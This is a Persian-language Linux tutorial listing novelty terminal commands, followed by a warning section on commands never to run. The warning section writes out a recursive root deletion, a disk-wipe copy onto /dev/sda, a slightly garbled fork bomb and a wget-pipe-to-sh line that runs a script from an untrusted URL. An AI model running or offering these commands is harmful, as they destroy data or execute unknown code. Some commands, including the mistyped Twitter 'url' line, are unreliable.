

دستورات جالب در لینوکس

ارائه دهنده: قوام الدین سلیمانی

دستور sl (لوکوموتیو بخار)

```
root@qavams:~# apt-get install sl      (In Debian like OS)
```

کد:

```
root@qavams:~# sl
```

دستور fortune

```
root@qavams:~# apt-get install fortune  (for aptitude based system)
```

کد:

```
root@qavams:~# fortune
```

دستور rev مخفف Reverse

کد:

```
root@qavams:~# rev
```

دستور factor

کد:

```
root@qavams:~# factor
```

script

```
root@qavams:~# for i in {1..12}; do for j in $(seq 1 $i); do echo -ne $i$—$j=$(($i*$j))\\t;done;
echo;done
```

۱\$—1=1

۲\$—1=2 2\$—2=4

۳\$—1=3 3\$—2=6 3\$—3=9

۴\$—1=4 4\$—2=8 4\$—3=12 4\$—4=16

۵\$—1=5 5\$—2=10 5\$—3=15 5\$—4=20 5\$—5=25

۶\$—1=6 6\$—2=12 6\$—3=18 6\$—4=24 6\$—5=30 6\$—6=36

۷\$—1=7 7\$—2=14 7\$—3=21 7\$—4=28 7\$—5=35 7\$—6=42 7\$—7=49

۸\$—1=8 8\$—2=16 8\$—3=24 8\$—4=32 8\$—5=40 8\$—6=48 8\$—7=56 8\$—8=64

۹\$—1=9 9\$—2=18 9\$—3=27 9\$—4=36 9\$—5=45 9\$—6=54 9\$—7=63 9\$—8=72 9\$—9=81

۱۰\$—1=10 10\$—2=20 10\$—3=30 10\$—4=40 10\$—5=50 10\$—6=60 10\$—7=70 10\$—8=80 10\$—9=90 10\$—10=100

۱۱\$—1=11 11\$—2=22 11\$—3=33 11\$—4=44 11\$—5=55 11\$—6=66 11\$—7=77 11\$—8=88 11\$—9=99 11\$—10=110 11\$—11=121

۱۲\$—1=12 12\$—2=24 12\$—3=36 12\$—4=48 12\$—5=60 12\$—6=72

دستور Cowsay

```
root@qavams:~# apt-get install cowsay (for Debian based OS)
```

کد:

```
root@qavams:~# cowsay Hello World
```

چگونه دستور fortune توسط cowsay توصف شود؟

```
root@qavams:~# fortune | cowsay
```

"xcowsay" یک برنامه گرافیکی است که عملکردی مشابه با cowsay اما به شیوه گرافیکی دارد.

کد:

```
apt-get install xcowsay
```

کد:

```
root@qavams:~# xcowsay Hello World
```

دستور yes

```
root@qavams:~# yes Hello World
```

دستور cmatrix

```
root@qavams:~# apt-get install cmatrix
```

کد:

```
root@qavams:~# cmatrix
```

دستور: oneko

```
root@qavams:~# apt-get install oneko
```

کد:

```
root@qavams:~# oneko
```

دستور while

```
root@qavams:~# apt-get install toilet
```

کد:

```
root@qavams:~# while true; do echo "$(date '+%D %T' | toilet -f term -F border --gay)"; sleep 1; done
```

or

```
root@qavams:~# while true; do clear; echo "$(date '+%D %T' | toilet -f term -F border --gay)"; sleep 1; done
```

دستور aafire

```
root@qavams:~# apt-get install libaa-bin
```

کد:

```
root@qavams:~# aafire
```

دستور url

استاتوس تویتر خود را از طریق خط فرمان آپدیت کنید کافی است به جای username, password و your status message موارد مربوط به خود را وارد کنید.

کد:

```
root@qavams:~# url -u YourUsername:YourPassword -d status="Your status message"  
http://twitter.com/statuses/update.xml
```

ASCIIfish

کد:

```
root@qavams:~# asciifish
```

دستوراتی که هیچگاه نباید در لینوکس استفاده کنید

نکات مهمی که همیشه باید در نظر داشته باشد:

۱. هرگز دستوری رو که نمی‌دونید چکار می‌کنه رو از جایی کپی و در ترمینال پیست نکنید.

۲. حواستون به دستوراتی که برای اجرا به دسترسی ریشه (root) نیاز دارن باشه.

برای اینکه ببینید دستوری چکار می‌کنه، چند راه وجود داره:

۱. از کسی که بهش اعتماد دارید بپرسید که آیا این دستور مشکلی پیش نمی‌اره؟

۲. معمولاً همه‌ی دستورات، یک راهنما دارند که با استفاده از کلمه `man` می‌تونید بهش دسترسی پیدا کنید و

توضیحات مربوط به کارکرد دستور و کاری که سوئیچ‌های مختلفش انجام می‌دن رو مطالعه کنید. مثلاً `man`

`rm`

۳. گاهی دستورات راهنما ندارند، در این صورت می‌تونید از سوئیچ‌های `-h` یا `help` استفاده کنید. مثلاً `rm`

`help`

چند مثال

اینجا چند تا مثال براتون آوردم که هیچوقت **نباید** استفاده کنیدشون. این فیلم‌ها روی ماشین مجازی گرفته شده تا نتیجه‌ی کار رو ببینید.

۱. یکی از معروف‌ترین این دستورات

```
sudo rm -rf /*
```

دستور `rm` برای پاک کردن فایل در گنو/لینوکس استفاده می‌شه.

`-f, --force`

`ignore nonexistent files and arguments, never prompt`

`-r, -R, --recursive`

`remove directories and their contents recursively`

۲. هیچوقت هیچ چیز رو به `/dev/sda` کپی نکنید.

```
sudo cp /dev/zero /dev/sda
```

۳. هنگام استفاده از دستور `dd` دقت کنید.

۴. فورک بمب

```
:O{ :|:& }::
```

۵. دستوراتی که اسکریپتی رو از اینترنت دانلود و اجرا می کنند!

```
wget http://an-untrusted-url -O- | sh
```